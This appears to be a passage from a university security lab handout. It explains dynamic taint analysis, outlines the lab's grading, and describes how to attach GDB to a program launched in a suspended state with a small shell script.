In this lab, you have already encountered Address Space Layout Randomization (ASLR) and ways to overcome it. In order to understand the second technique, dynamic taint analysis, the following analogy might be helpful. There are two kinds of input data: user-supplied input and all other inputs. User-supplied input is suspect and therefore painted red, while everything else is painted black. If we check red input carefully, we can turn it into black input. At some point in the execution, a piece of data may be interpreted as code, or involved in a security critical way, for example as a direct command to a SQL database or as an argument to a function like `system()`. If that happens, we check its colour and allow only black data to participate in such calls. This ensures that data that is used in potentially dangerous operations is either OK a priori or has been checked before it is used. While this technique is very promising, it is rarely found in today's systems. Exceptions include Perl's taint mode, proof-of-concept implementations[10], the Qemu-based Argos emulator designed for capturing 0-day attacks, and (partial) implementations of the concept in some add-on products like HP's "Application Defender". The main reason for this is that labelling, label-propagation and the checking of the labels has a significant impact on the performance of a system.

In parts II and III of the exploitation labs, you will have a closer look at data execution prevention (DEP) and stack canaries and how to circumvent these protections. By doing so, you will get a good idea what they can and cannot do for you, and why it is a good idea to use them.

7 Lab Points

In this lab, there are 12 questions. 11 of them are relevant for the automated grading.

- 2 Points for answering 10 out of 11 questions correctly
- 1 point for answering 8 out of 11 questions correctly
- 0 points otherwise

The tutor might ask you to present your solution and to answer questions related to it. The tutor assigns the final score and might revise the score from the automated grading.

[10] A good introduction to the topic and its challenges can be found in the paper "Dynamic Taint Tracking in Managed Runtimes", Benymain Livshits, Microsoft research, 2012.

A Debugging Processes Started Outside of GDB

To debug a process that you start from the command line (outside GDB), you can simply attach GDB to that process using:

```
gdb attach <PID>
```

However, if you do this, the program might already have completed or executed the function you wanted to analyze. To not to miss anything, you must start the program in the suspended state. To do this, this simple script can be used:

```
#!/bin/sh
kill -STOP $$                          # suspend myself until I
                                       # receive SIGCONT
exec $@                                # exec + argument list
```

If called like this:

```
./start-stopped.sh  command-to-execute arg1 arg2 arg3
```

the process executing the script is stopped before exec is called. Exec will replace this process with the actual program you wanted to debug. So, you have now enough time to note down the PID of this process and attach GDB as indicated above to that process.

Another problem you have to solve is that if you attach to the process started with the start-stopped.sh script, setting breakpoints for the program started by the start-stopped.sh script is not straight forward. For example, if you want to break at its main function, entering `break main` produces:

```
Function "main" not defined.
```

The problem here is, that the current process is an instance of your system's default shell running your script. In order to be able to break at a function or line of code when this process is replaced by the program you want to debug, you can use:

```
break _start
```

For most binaries, this is the name of the entry point. As this exists in the current process and in the binary that will be used to replace that process, this will work. After this, you can continue the execution until you reach the _start breakpoint. Now that the process has been replaced with the program you want to debug, GDB also knows about its symbols and you can start your analysis.